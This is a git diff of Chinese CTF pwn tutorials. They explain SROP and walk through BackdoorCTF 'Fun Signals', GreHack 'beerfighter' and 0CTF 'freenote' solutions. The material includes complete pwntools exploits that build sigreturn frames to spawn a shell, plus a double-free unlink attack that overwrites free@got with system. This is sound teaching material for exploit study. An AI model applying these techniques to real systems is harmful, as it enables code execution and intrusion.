机制 +### signal 机制 -![](../pic/6.1.4_signal.png) +![img](../pic/6.1.4_signal.png) 如图所示,当有中断或异常产生时,内核会向某个进程发送一个 signal,该进程被挂起并进入内核(1),然后内核为该进程保存相应的上下文,然后跳转到之前注册好的 signal handler 中处理相应的 signal(2),当 signal handler 返回后(3),内核为该进程恢复之前保存的上下文,最终恢复进程的执行(4)。 @@ -32,6 +33,7 @@ - 最后,程序执行继续。 不同的架构会有不同的 signal frame,下面是 32 位结构,`sigcontext` 结构体会被 push 到栈中: + ```C struct sigcontext { @@ -59,7 +61,9 @@ struct sigcontext unsigned long cr2; }; ``` + 下面是 64 位,push 到栈中的其实是 `ucontext_t` 结构体: + ```C // defined in /usr/include/sys/ucontext.h /* Userlevel context. */ @@ -119,45 +123,48 @@ struct sigcontext __uint64_t __reserved1 [8]; }; ``` + 就像下面这样: -![](../pic/6.1.4_sigret.jpg) +![img](../pic/6.1.4_sigret.jpg) + +### SROP -#### SROP SROP,即 Sigreturn Oriented Programming,正是利用了 Sigreturn 机制的弱点,来进行攻击。 首先系统在执行 `sigreturn` 系统调用的时候,不会对 signal 做检查,它不知道当前的这个 frame 是不是之前保存的那个 frame。由于 `sigreturn` 会从用户栈上恢复恢复所有寄存器的值,而用户栈是保存在用户进程的地址空间中的,是用户进程可读写的。如果攻击者可以控制了栈,也就控制了所有寄存器的值,而这一切只需要一个 gadget:`syscall; ret;`。 另外,这个 gadget 在一些系统上没有被内存随机化处理,所以可以在相同的位置上找到,参照下图: -![](../pic/6.1.4_sigret_aslr.png) +![img](../pic/6.1.4_sigret_aslr.png) 通过设置 `eax/rax` 寄存器,可以利用 `syscall` 指令执行任意的系统调用,然后我们可以将 `sigreturn` 和 其他的系统调用串起来,形成一个链,从而达到任意代码执行的目的。下面是一个伪造 frame 的例子: -![](../pic/6.1.4_fake_frame.jpg) +![img](../pic/6.1.4_fake_frame.jpg) `rax=59` 是 `execve` 的系统调用号,参数 `rdi` 设置为字符串“/bin/sh”的地址,`rip` 指向系统调用 `syscall`,最后,将 `rt_sigreturn` 设置为 `sigreturn` 系统调用的地址。当 `sigreturn` 返回后,就会从这个伪造的 frame 中恢复寄存器,从而拿到 shell。 下面是一个更复杂的例子: -![](../pic/6.1.4_attack.png) +![img](../pic/6.1.4_attack.png) -1. 首先利用一个栈溢出漏洞,将返回地址覆盖为一个指向 `sigreturn` gadget 的指针。如果只有 `syscall`,则将 RAX 设置为 0xf,也是一样的。在栈上覆盖上 fake frame。其中: +- 首先利用一个栈溢出漏洞,将返回地址覆盖为一个指向 `sigreturn` gadget 的指针。如果只有 `syscall`,则将 RAX 设置为 0xf,也是一样的。在栈上覆盖上 fake frame。其中: - `RSP`:一个可写的内存地址 - `RIP`:`syscall; ret;` gadget 的地址 - `RAX`:`read` 的系统调用号 - `RDI`:文件描述符,即从哪儿读入 - `RSI`:可写内存的地址,即写入到哪儿 - `RDX`:读入的字节数,这里是 306 -2. `sigreturn` gadget 执行完之后,因为设置了 `RIP`,会再次执行 `syscall; ret;` gadget。payload 的第二部分就是通过这里读入到文件描述符的。这一部分包含了 3 个 `syscall; ret;`,fake frame 和其他的代码或数据。 -3. 接收完数据或,`read` 函数返回,返回值即读入的字节数被放到 `RAX` 中。我们的可写内存被这些数据所覆盖,并且 `RSP` 指向了它的开头。然后 `syscall; ret;` 被执行,由于 `RAX` 的值为 306,即 `syncfs` 的系统调用号,该调用总是返回 0,而 0 又是 `read` 的调用号。 -4. 再次执行 `syscall; ret;`,即 `read` 系统调用。这一次,读入的内容不重要,重要的是数量,让它等于 15,即 `sigreturn` 的调用号。 -5. 执行第三个 `syscall; ret;`,即 `sigreturn` 系统调用。从第二个 fake frame 中恢复寄存器,这里是 `execve("/bin/sh", ...)`。另外你还可以调用 `mprotect` 将某段数据变为可执行的。 -6. 执行 `execve`,拿到 shell。 - +- `sigreturn` gadget 执行完之后,因为设置了 `RIP`,会再次执行 `syscall; ret;` gadget。payload 的第二部分就是通过这里读入到文件描述符的。这一部分包含了 3 个 `syscall; ret;`,fake frame 和其他的代码或数据。 +- 接收完数据或,`read` 函数返回,返回值即读入的字节数被放到 `RAX` 中。我们的可写内存被这些数据所覆盖,并且 `RSP` 指向了它的开头。然后 `syscall; ret;` 被执行,由于 `RAX` 的值为 306,即 `syncfs` 的系统调用号,该调用总是返回 0,而 0 又是 `read` 的调用号。 +- 再次执行 `syscall; ret;`,即 `read` 系统调用。这一次,读入的内容不重要,重要的是数量,让它等于 15,即 `sigreturn` 的调用号。 +- 执行第三个 `syscall; ret;`,即 `sigreturn` 系统调用。从第二个 fake frame 中恢复寄存器,这里是 `execve("/bin/sh", ...)`。另外你还可以调用 `mprotect` 将某段数据变为可执行的。 +- 执行 `execve`,拿到 shell。 ## pwnlib.rop.srop + 在 pwntools 中已经集成了 SROP 的利用工具,即 [pwnlib.rop.srop](http://docs.pwntools.com/en/stable/rop/srop.html),直接使用类 `SigreturnFrame`,我们来看一下它的构造: + ```python >>> from pwn import * >>> context.arch @@ -171,24 +178,29 @@ SROP,即 Sigreturn Oriented Programming,正是利用了 Sigreturn 机制的 >>> SigreturnFrame(kernel='amd64') {'r14': 0, 'r15': 0, 'r12': 0, 'rsi': 0, 'r10': 0, 'r11': 0, '&fpstate': 0, 'rip': 0, 'csgsfs': 51, 'uc_stack.ss_flags': 0, 'oldmask': 0, 'sigmask': 0, 'rsp': 0, 'rax': 0, 'r13': 0, 'cr2': 0, 'r9': 0, 'rcx': 0, 'trapno': 0, 'err': 0, 'rbx': 0, 'uc_stack.ss_sp': 0, 'r8': 0, 'rdx': 0, 'rbp': 0, 'uc_flags': 0, '__reserved': 0, '&uc': 0, 'eflags': 0, 'rdi': 0, 'uc_stack.ss_size': 0} ``` + 总共有三种,结构和初始化的值会 有所不同: + - i386 on i386:32 位系统上运行 32 位程序 - i386 on amd64:64 位系统上运行 32 位程序 - amd64 on amd64:64 为系统上运行 64 位程序 - ## BackdoorCTF2017 Fun Signals -``` -$ file funsignals_player_bin + +```text +$ file funsignals_player_bin funsignals_player_bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped ``` + 这是一个 64 位静态链接的 srop,可以说是什么都没开。。。 -``` -$ checksec -f funsignals_player_bin + +```text +$ checksec -f funsignals_player_bin RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH No 0 0 funsignals_player_bin ``` -``` + +```text gdb-peda$ disassemble _start Dump of assembler code for function _start: 0x0000000010000000 <+0>: xor eax,eax @@ -196,28 +208,30 @@ Dump of assembler code for function _start: 0x0000000010000004 <+4>: xor edx,edx 0x0000000010000006 <+6>: mov dh,0x4 0x0000000010000008 <+8>: mov rsi,rsp - 0x000000001000000b <+11>: syscall + 0x000000001000000b <+11>: syscall 0x000000001000000d <+13>: xor edi,edi 0x000000001000000f <+15>: push 0xf 0x0000000010000011 <+17>: pop rax - 0x0000000010000012 <+18>: syscall - 0x0000000010000014 <+20>: int3 + 0x0000000010000012 <+18>: syscall + 0x0000000010000014 <+20>: int3 End of assembler dump. gdb-peda$ disassemble syscall Dump of assembler code for function syscall: - 0x0000000010000015 <+0>: syscall + 0x0000000010000015 <+0>: syscall 0x0000000010000017 <+2>: xor rdi,rdi 0x000000001000001a <+5>: mov rax,0x3c - 0x0000000010000021 <+12>: syscall + 0x0000000010000021 <+12>: syscall End of assembler dump. gdb-peda$ x/s flag 0x10000023 : "fake_flag_here_as_original_is_at_server" ``` + 而且 flag 就在二进制文件里,只不过是在服务器上的那个里面,过程是完全一样的。 首先可以看到 `_start` 函数里有两个 syscall。第一个是 `read(0, $rip, 0x400)`(调用号`0x0`),它从标准输入读取 `0x400` 个字节到 `rip` 指向的地址处,也就是栈上。第二个是 `sigreturn()`(调用号`0xf`),它将从栈上读取 sigreturn frame。所以我们就可以伪造一个 frame。 那么怎样读取 flag 呢,需要一个 `write(1, &flag, 50)`,调用号为 `0x1`,而函数 `syscall` 正好为我们提供了 `syscall` 指令,构造 payload 如下: + ```python from pwn import * @@ -239,8 +253,9 @@ frame.rip = elf.symbols['syscall'] io.send(str(frame)) io.interactive() ``` -``` -$ python2 exp_funsignals.py + +```text +$ python2 exp_funsignals.py [*] '/home/firmy/Desktop/funsignals_player_bin' Arch: amd64-64-little RELRO: No RELRO @@ -252,12 +267,13 @@ $ python2 exp_funsignals.py [*] Switching to interactive mode fake_flag_here_as_original_is_at_server\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive ``` + 如果连接的是远程服务器,`fake_flag_here_as_original_is_at_server` 会被替换成真正的 flag。 这一节我们详细介绍了 SROP 的原理,并展示了一个简单的例子,在后面的章节中,会展示其更复杂的运用,包扩结合 vDSO 的用法。 - ## 参考资料 + - [Framing Signals—A Return to Portable Shellcode](http://www.ieee-security.org/TC/SP2014/papers/FramingSignals-AReturntoPortableShellcode.pdf) - [slides: Framing Signals a return to portable shellcode](https://tc.gtisc.gatech.edu/bss/2014/r/srop-slides.pdf) - [Sigreturn Oriented Programming](https://www.slideshare.net/AngelBoy1/sigreturn-ori) diff --git a/doc/6.1.5_pwn_grehackctf2017_beerfighter.md b/doc/6.1.5_pwn_grehackctf2017_beerfighter.md index 709da47..3d805eb 100644 --- a/doc/6.1.5_pwn_grehackctf2017_beerfighter.md +++ b/doc/6.1.5_pwn_grehackctf2017_beerfighter.md @@ -5,21 +5,23 @@ - [漏洞利用](#漏洞利用) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.1.5_pwn_grehackctf2017_beerfighter) ## 题目复现 -``` -$ file game + +```text +$ file game game: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=1f9b11cb913afcbbbf9cb615709b3c62b2fdb5a2, stripped -$ checksec -f game +$ checksec -f game RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 0 game ``` + 64 位,静态链接,stripped。 既然是个小游戏,先玩一下,然后发现,进入 City Hall 后,有一个可以输入字符串的地方,然而即使我们什么也不输入,直接回车,在 Leave the town 时也会出现 Segmentation fault: -``` + +```text [0] The bar [1] The City Hall [2] The dark yard @@ -44,10 +46,11 @@ By ! Segmentation fault (core dumped) ``` +## 题目解析 -##题目解析 程序大概清楚了,看代码吧,经过一番搜索,发现了一个很有意思的函数: -``` + +```text [0x00400d8e]> pdf @ fcn.00400773 / (fcn) fcn.00400773 15 | fcn.00400773 (); @@ -60,26 +63,30 @@ Segmentation fault (core dumped) | 0x0040077f 0f05 syscall \ 0x00400781 c3 ret ``` + `syscall;ret`,你想到了什么,对,就是前面讲的 SROP。 其实前面的输入一个字符串,程序也是通过 syscall 来读入的,从函数 `0x004004b8` 开始仔细跟踪代码后就会知道,系统调用为 `read()`。 -``` +```text gdb-peda$ pattern_offset $ebp 1849771374 found at offset: 1040 ``` + 缓冲区还挺大的,`1040+8=1048`。 - ## 漏洞利用 + 好,现在思路已经清晰了,先利用缓冲区溢出漏洞,用 `syscall;ret` 地址覆盖返回地址,通过 frame\_1 调用 `read()` 读入 frame_2 到 `.data` 段(这个程序没有`.bss`,而且`.data`可写),然后将栈转移过去,调用 `execve()` 执行“/bin/sh”,从而拿到 shell。 构造 sigreturn: -``` + +```text $ ropgadget --binary game --only "pop|ret" ... 0x00000000004007b2 : pop rax ; ret ``` + ```python # sigreturn syscall sigreturn = p64(pop_rax_addr) @@ -88,6 +95,7 @@ sigreturn += p64(syscall_addr) ``` 然后是 frame_1,通过设定 `frame_1.rsp = base_addr` 来转移栈: + ```python # frame_1: read frame_2 to .data frame_1 = SigreturnFrame() @@ -100,6 +108,7 @@ frame_1.rip = syscall_addr ``` frame_2 执行 `execve()`: + ```python # frame_2: execve to get shell frame_2 = SigreturnFrame() @@ -111,8 +120,9 @@ frame_2.rip = syscall_addr ``` Bingo!!! -``` -$ python2 exp.py + +```text +$ python2 exp.py [*] '/home/firmy/Desktop/game' Arch: amd64-64-little RELRO: Partial RELRO @@ -127,8 +137,10 @@ $ whoami firmy ``` -#### exploit +### exploit + 完整的 exp 如下: + ```python from pwn import * @@ -188,6 +200,6 @@ io.sendline(payload_2) io.interactive() ``` - ## 参考资料 -https://ctftime.org/task/4939 + +- diff --git a/doc/6.1.6_pwn_defconctf2015_fuckup.md b/doc/6.1.6_pwn_defconctf2015_fuckup.md index daf5ea4..1e498e2 100644 --- a/doc/6.1.6_pwn_defconctf2015_fuckup.md +++ b/doc/6.1.6_pwn_defconctf2015_fuckup.md @@ -5,26 +5,28 @@ - [漏洞利用](#漏洞利用) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.1.6_pwn_defconctf2015_fuckup) ## ret2vdso 原理 + 在你使用 `ldd` 命令时,通常会显示出 vDSO,如下: -``` + +```text $ ldd /usr/bin/ls linux-vdso.so.1 (0x00007ffff7ffa000) libcap.so.2 => /usr/lib/libcap.so.2 (0x00007ffff79b2000) libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff75fa000) /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd8000) ``` + 32 位程序则会显示 `linux-gate.so.1`,都是一个意思。 - ## 题目解析 -``` -$ file fuckup + +```text +$ file fuckup fuckup: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped -$ checksec -f fuckup +$ checksec -f fuckup RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 0 fuckup ``` @@ -32,5 +34,6 @@ No RELRO No canary found NX enabled No PIE No RPATH No RU ## 漏洞利用 ## 参考资料 + - `man vdso` - [Return to VDSO using ELF Auxiliary Vectors](http://v0ids3curity.blogspot.in/2014/12/return-to-vdso-using-elf-auxiliary.html) diff --git a/doc/6.1.7_pwn_0ctf2015_freenote.md b/doc/6.1.7_pwn_0ctf2015_freenote.md index ac1db67..57ee394 100644 --- a/doc/6.1.7_pwn_0ctf2015_freenote.md +++ b/doc/6.1.7_pwn_0ctf2015_freenote.md @@ -5,25 +5,27 @@ - [漏洞利用](#漏洞利用) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.1.7_pwn_0ctf2015_freenote) ## 题目复现 -``` -$ file freenote + +```text +$ file freenote freenote: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=dd259bb085b3a4aeb393ec5ef4f09e312555a64d, stripped -$ checksec -f freenote +$ checksec -f freenote RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 2 freenote $ strings libc-2.19.so | grep "GNU C" GNU C Library (Ubuntu EGLIBC 2.19-0ubuntu6.6) stable release version 2.19, by Roland McGrath et al. Compiled by GNU CC version 4.8.2. ``` + 因为没有 PIE,即使本机开启 ASLR 也没有关系。 玩一下,它有 List、New、Edit、Delete 四个功能: -``` -$ ./freenote + +```text +$ ./freenote == 0ops Free Note == 1. List Note 2. New Note @@ -96,21 +98,25 @@ You need to create some new notes first. Your choice: 5 Bye ``` + 然后漏洞似乎也很明显,如果我们两次 Delete 同一个笔记,则触发 double free: -``` + +```text *** Error in `./freenote': double free or corruption (!prev): 0x0000000000672830 *** Aborted ``` 在 Ubuntu 14.04 上把程序跑起来: -``` + +```text $ socat tcp4-listen:10001,reuseaddr,fork exec:"env LD_PRELOAD=./libc-2.19.so ./freenote" & ``` - ## 题目解析 + 我们先来看一下 main 函数: -``` + +```text [0x00400770]> pdf @ main / (fcn) main 60 | main (); @@ -133,15 +139,18 @@ $ socat tcp4-listen:10001,reuseaddr,fork exec:"env LD_PRELOAD=./libc-2.19.so ./f | | 0x004010b9 488b04c5f812. mov rax, qword [rax*8 + 0x4012f8] ; [0x4012f8:8]=0x401104 \ | 0x004010c1 ffe0 jmp rax ``` + main 函数首先调用 `sub.malloc_a49()` 分配一块内存并进行初始化,然后读取用户输入,根据偏移跳转到相应的函数上去(典型的switch实现): -``` + +```text [0x00400770]> px 48 @ 0x4012f8 - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x004012f8 0411 4000 0000 0000 c310 4000 0000 0000 ..@.......@..... 0x00401308 cf10 4000 0000 0000 db10 4000 0000 0000 ..@.......@..... 0x00401318 e710 4000 0000 0000 f310 4000 0000 0000 ..@.......@..... ``` -``` + +```text [0x00400770]> pd 22 @ 0x4010c3 : 0x004010c3 b800000000 mov eax, 0 : 0x004010c8 e847faffff call sub.You_need_to_create_some_new_notes_first._b14 @@ -172,15 +181,18 @@ main 函数首先调用 `sub.malloc_a49()` 分配一块内存并进行初始化 `------> 0x00401111 c9 leave 0x00401112 c3 ret ``` + 所以四个功能对应的函数如下: + - List:`sub.You_need_to_create_some_new_notes_first._b14` - New:`sub.Length_of_new_note:_bc2` - Edit:`call sub.Note_number:_d87` - Delete:`call sub.No_notes_yet._f7d` 函数 `sub.malloc_a49` 如下: -``` -[0x00400770]> pdf @ sub.malloc_a49 + +```text +[0x00400770]> pdf @ sub.malloc_a49 / (fcn) sub.malloc_a49 203 | sub.malloc_a49 (); | ; var int local_4h @ rbp-0x4 @@ -235,7 +247,9 @@ main 函数首先调用 `sub.malloc_a49()` 分配一块内存并进行初始化 | 0x00400b12 c9 leave \ 0x00400b13 c3 ret ``` + 该函数调用 malloc 在堆上分配 0x1810 字节的内存用来存放数据。我们可以猜测这里还存在两个结构体,Note 和 Notes: + ```c struct Note { int isValid; // 1 表示笔记存在,0 表示笔记不存在 @@ -251,8 +265,9 @@ struct Notes { ``` 接下来依次分析程序四个功能的实现,先从 List 开始: -``` -[0x00400770]> pdf @ sub.You_need_to_create_some_new_notes_first._b14 + +```text +[0x00400770]> pdf @ sub.You_need_to_create_some_new_notes_first._b14 / (fcn) sub.You_need_to_create_some_new_notes_first._b14 174 | sub.You_need_to_create_some_new_notes_first._b14 (); | ; var int local_4h @ rbp-0x4 @@ -311,11 +326,13 @@ struct Notes { | `--> 0x00400bc0 c9 leave \ 0x00400bc1 c3 ret ``` + 该函数会打印出所有 isValid 成员为 1 的笔记。 New 的实现如下: -``` -[0x00400770]> pdf @ sub.Length_of_new_note:_bc2 + +```text +[0x00400770]> pdf @ sub.Length_of_new_note:_bc2 / (fcn) sub.Length_of_new_note:_bc2 453 | sub.Length_of_new_note:_bc2 (int arg_1000h); | ; var int local_14h @ rbp-0x14 @@ -351,7 +368,7 @@ New 的实现如下: | :|| 0x00400c19 4801c8 add rax, rcx ; '&' | :|| 0x00400c1c 4883c010 add rax, 0x10 | :|| 0x00400c20 488b00 mov rax, qword [rax] -| :|| 0x00400c23 4885c0 test rax, rax ; rax 表示成员 isValid +| :|| 0x00400c23 4885c0 test rax, rax ; rax 表示成员 isValid | ,====< 0x00400c26 0f853c010000 jne 0x400d68 ; 当 isValid 为 1 时,表示当前序号处笔记已经存在,跳过 | |:|| 0x00400c2c bf6c124000 mov edi, str.Length_of_new_note: ; 0x40126c ; "Length of new note: " | |:|| 0x00400c31 b800000000 mov eax, 0 @@ -456,11 +473,13 @@ New 的实现如下: | ``--`--> 0x00400d85 c9 leave \ 0x00400d86 c3 ret ``` + 该函数首先对你输入的大小进行判断,如果小于 128 字节,则默认分配 128 字节的空间,如果大于 128 字节且小于 4096 字节时,则分配比输入稍大的 128 字节的整数倍的空间,如果大于 4096 字节,则默认分配 4096 字节。 Edit 的实现如下: -``` -[0x00400770]> pdf @ sub.Note_number:_d87 + +```text +[0x00400770]> pdf @ sub.Note_number:_d87 / (fcn) sub.Note_number:_d87 502 | sub.Note_number:_d87 (int arg_1000h); | ; var int local_1ch @ rbp-0x1c @@ -619,11 +638,13 @@ Edit 的实现如下: | 0x00400f7b 5d pop rbp \ 0x00400f7c c3 ret ``` + 该函数在输入了笔记序号和大小之后,会先判断新的大小与现在的大小是否相同,如果相同,则不重新分配空间,直接编辑其内容,否则调用 `realloc()` 重新分配一块空间(地址可能与原地址相同,也可能不相同)。 Delete 的实现如下: -``` -[0x00400770]> pdf @ sub.No_notes_yet._f7d + +```text +[0x00400770]> pdf @ sub.No_notes_yet._f7d / (fcn) sub.No_notes_yet._f7d 266 | sub.No_notes_yet._f7d (); | ; var int local_4h @ rbp-0x4 @@ -702,15 +723,18 @@ Delete 的实现如下: | ``--> 0x00401085 c9 leave \ 0x00401086 c3 ret ``` + 该函数在读入要删除的笔记序号后,首先将 Notes 结构体成员 `length -1`,然后将对应的 Note 结构体的 `isValid` 和 `length` 修改为 `0`,然后 free 掉笔记的内容(`*content`)。 - ## 漏洞利用 + 在上面逆向的过程中我们发现,程序存在 double free 漏洞。在 Delete 的时候,只是设置了 `isValid =0` 作为标记,而没有将该笔记从 Notes 中移除,也没有将 `content` 设置为 NULL,然后就调用了 free 函数。整个过程没有对 `isValid` 是否已经为 `0` 做任何检查。于是我们可以对同一个笔记 Delete 两次,造成 double free,修改 GOT 表,改变程序的执行流。 -#### 泄漏地址 +### 泄漏地址 + 第一步先泄漏堆地址。为方便调试,就先关掉 ASLR 吧: -``` + +```text gef➤ vmmap heap Start End Offset Perm Path 0x0000000000603000 0x0000000000625000 0x0000000000000000 rw- [heap] @@ -723,11 +747,13 @@ Start End Offset Perm Path ``` 为了泄漏堆地址,我们需要释放 2 个不相邻且不会被合并进 top chunk 里的 chunk,所以我们创建 4 个笔记,可以看到由初始化阶段创建的 Notes 和 Note 结构体: + ```python for i in range(4): newnote("A"*8) ``` -``` + +```text gef➤ x/16gx 0x00603000 0x603000: 0x0000000000000000 0x0000000000001821 0x603010: 0x0000000000000100 0x0000000000000004 <-- Notes.max <-- Notes.length @@ -738,8 +764,10 @@ gef➤ x/16gx 0x00603000 0x603060: 0x0000000000604950 0x0000000000000001 0x603070: 0x0000000000000008 0x00000000006049e0 ``` + 下面是创建的 4 个笔记: -``` + +```text gef➤ x/4gx 0x00603000+0x1820 0x604820: 0x0000000000000000 0x0000000000000091 <-- chunk 0 0x604830: 0x4141414141414141 0x0000000000000000 <-- *notes[0].content @@ -758,11 +786,13 @@ gef➤ x/4gx 0x00603000+0x1820+0x90*4 ``` 现在我们释放掉 chunk 0 和 chunk 2: + ```python delnote(0) delnote(2) ``` -``` + +```text gef➤ x/16gx 0x00603000 0x603000: 0x0000000000000000 0x0000000000001821 0x603010: 0x0000000000000100 0x0000000000000002 <-- Notes.length @@ -788,13 +818,16 @@ gef➤ x/4gx 0x00603000+0x1820+0x90*4 0x604a60: 0x0000000000000000 0x00000000000205a1 <-- top chunk 0x604a70: 0x0000000000000000 0x0000000000000000 ``` + chunk 0 和 chunk 2 被放进了 unsorted bin,且它们的 fd 和 bk 指针有我们需要的地址。 为了泄漏堆地址,我们分配一个内容长度为 8 的笔记,malloc 将从 unsorted bin 中把原来 chunk 0 的空间取出来: + ```python newnote("A"*8) ``` -``` + +```text gef➤ x/16gx 0x00603000 0x603000: 0x0000000000000000 0x0000000000001821 0x603010: 0x0000000000000100 0x0000000000000003 <-- Notes.length @@ -820,7 +853,9 @@ gef➤ x/4gx 0x00603000+0x1820+0x90*4 0x604a60: 0x0000000000000000 0x00000000000205a1 <-- top chunk 0x604a70: 0x0000000000000000 0x0000000000000000 ``` + 为什么是 8 呢?我们同样可以看到程序的读入是有问题的,没有在字符串末尾加上 `\0`,导致了信息泄漏的发生,接下来只要调用 List 就可以把 chunk 2 的地址 `0x604940` 打印出来。然后根据 chunk 2 的偏移,即可计算出堆起始地址: + ```python s = listnote(0)[8:] heap_addr = u64((s.ljust(8, "\x00"))[:8]) @@ -828,7 +863,8 @@ heap_base = heap_addr - 0x1940 # 0x1940 = 0x1820 + 0x90*2 ``` 其实我们还可以得到 libc 的地址,方法如下: -``` + +```text gef➤ x/20gx 0x00007ffff7dd37b8-0x78 0x7ffff7dd3740 <__malloc_hook>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd3750: 0x0000000000000000 0x0000000000000000 @@ -841,16 +877,22 @@ gef➤ x/20gx 0x00007ffff7dd37b8-0x78 0x7ffff7dd37c0: 0x0000000000000000 0x0000000000604940 0x7ffff7dd37d0: 0x0000000000604820 0x00007ffff7dd37c8 ``` + 我们看到 `__malloc_hook` 在这个地址 `0x00007ffff7dd37b8-0x78` 的地方。其实 `0x7ffff7dd3760` 地方开始就是 `main_arena`,但在这个 libc 里符号被 stripped 扔掉了。看一下 `__malloc_hook` 在 libc 中的偏移: -``` + +```text $ readelf -s libc-2.19.so | grep __malloc_hook 1079: 00000000003be740 8 OBJECT WEAK DEFAULT 31 __malloc_hook@@GLIBC_2.2.5 ``` + 因为偏移是不变的,我们总是可以计算出 libc 的地址: -``` + +```python libc_base = leak_addr - (0x3be740 + 0x78) ``` + 过程和泄漏堆地址是一样的,这里就不展示了,代码如下: + ```python newnote("A"*8) s = listnote(2)[8:] @@ -859,7 +901,8 @@ libc_base = libc_addr - (0x3be740 + 0x78) # __malloc_hook + 0x78 ``` 这一步的最后只要把创建的所有笔记都删掉就好了: -``` + +```text gef➤ x/16gx 0x00603000 0x603000: 0x0000000000000000 0x0000000000001821 0x603010: 0x0000000000000100 0x0000000000000000 @@ -885,14 +928,19 @@ gef➤ x/4gx 0x00603000+0x1820+0x90*4 0x604a60: 0x0000000000000000 0x00000000000205a1 0x604a70: 0x0000000000000000 0x0000000000000000 ``` + 所有的 chunk 都被合并到了 top chunk 里,需要重点关注的是 chunk 3 的 prev_size 字段: -``` + +```text 0x6049d0 - 0x1b0 = 0x604820 ``` + 所以其实它指向的是 chunk 0,如果再次释放 chunk 3,它会根据 prev_size 找到 chunk 0,并执行 unlink,然而如果直接这样做的话,马上就被 libc 检查出来了,double free 异常被触发,程序崩溃。所以我们接下来我们通过修改 prev_size 指向一个 fake chunk,来成功 unlink。 -#### unlink +### unlink + 有了堆地址,根据 unlink 攻击的一般思想,我们总共创建 3 块 chunk,在 chunk 0 中构造 fake chunk,在 chunk 1 中放置 `/bin/sh` 字符串,用来作为 `system()` 函数的参数,chunk 2 里再放置两个 fake chunk: + ```python newnote(p64(0) + p64(0) + p64(heap_base + 0x18) + p64(heap_base + 0x20)) # note 0 newnote('/bin/sh\x00') # note 1 @@ -900,25 +948,32 @@ newnote("A"*128 + p64(0x1a0)+p64(0x90)+"A"*128 + p64(0)+p64(0x21)+"A"*24 + "\x01 ``` 为什么这样构造呢?回顾一下 unlink 的操作如下: -``` + +```text FD = P->fd; BK = P->bk; FD->bk = BK BK->fd = FD ``` + 需要绕过的检查: -``` + +```text (P->fd->bk != P || P->bk->fd != P) == False ``` + 最终效果是: -``` + +```text FD->bk = P = BK = &P - 16 BK->fd = P = FD = &P - 24 ``` + 为了绕过它,我们需要一个指向 chunk 头的指针,通过前面的分析我们知道 Note.content 正好指向 chunk 头,而且没有被置空,那么就可以通过泄漏出来的堆地址计算出这个指针的地址。 全部堆块的情况如下: -``` + +```text gef➤ x/4gx 0x603018 0x603018: 0x0000000000000003 0x0000000000000001 0x603028: 0x0000000000000020 0x0000000000604830 <-- bk pointer @@ -972,15 +1027,18 @@ gef➤ x/90gx 0x00603000+0x1820 0x604ad0: 0x0000000000000000 0x0000000000020531 <-- top chunk 0x604ae0: 0x0000000000000000 0x0000000000000000 ``` + 首先是 chunk 0,在它里面包含了一个 fake chunk,且设置了 bk、fd 指针用于绕过检查。 chunk 2 分配了很大的空间,把 chunk 3 指针也包含了进去,这样就可以对 chunk 3 的 prev_size 进行设置,我们将其修改为 `0x1a0`,于是 `0x6049d0 - 0x1a0 = 0x604830`,即 fake chunk 的位置。另外,在释放 chunk 3 时,libc 会检查后一个堆块的 `PREV_INUSE` 标志位,同时也为了防止 free 后的 chunk 被合并进 top chunk,所以需要在 chunk 3 后布置一个 fake chunk,同样的 fake chunk 的后一个堆块也必须是 `PREV_INUSE` 的,以防止 chunk 3 与 fake chunk 合并。 接下来就是释放 chunk 3,触发 unlink: + ```python delnote(3) ``` -``` + +```text gef➤ x/16gx 0x00603000 0x603000: 0x0000000000000000 0x0000000000001821 0x603010: 0x0000000000000100 0x0000000000000002 @@ -991,14 +1049,18 @@ gef➤ x/16gx 0x00603000 0x603060: 0x0000000000604950 0x0000000000000000 0x603070: 0x0000000000000000 0x00000000006049e0 ``` + 我们看到,note 0 的 content 指针被修改了,原本指向 fake chunk,现在却指向了自身地址减 0x18 的位置,这意味着我们可以将其改为任意地址。 -#### overwrite note +### overwrite note + 这一步我们利用 Edit 功能先将 notes[0].content 该为 `free@got`: + ```python editnote(0, p64(2) + p64(1)+p64(8)+p64(elf.got['free'])) ``` -``` + +```text gef➤ x/16gx 0x00603000 0x603000: 0x0000000000000000 0x0000000000001821 0x603010: 0x0000000000000100 0x0000000000000002 @@ -1011,29 +1073,37 @@ gef➤ x/16gx 0x00603000 gef➤ x/gx 0x602018 0x602018 : 0x00007ffff7a97df0 ``` + 另外这里将 length 设置为 8 也是有意义的,因为我们下一步修改 free 的地址为 system 地址,正好是 8 个字符长度,程序直接编辑其内容而不会调用 realloc 重新分配空间: + ```python editnote(0, p64(system_addr)) ``` -``` + +```text gef➤ x/gx 0x602018 -0x602018 : 0x00007ffff7a5b640 +0x602018 : 0x00007ffff7a5b640 gef➤ p system $1 = {} 0x7ffff7a5b640 ``` + 于是最后一步调用 free 时,实际上是调用了 `system('/bin/sh')`: -``` + +```python delnote(1) ``` -``` + +```text gef➤ x/s 0x6048c0 -0x6048c0: "/bin/sh" +0x6048c0: "/bin/sh" ``` -#### pwn +### pwn + 开启 ASLR。Bingo!!! -``` -$ 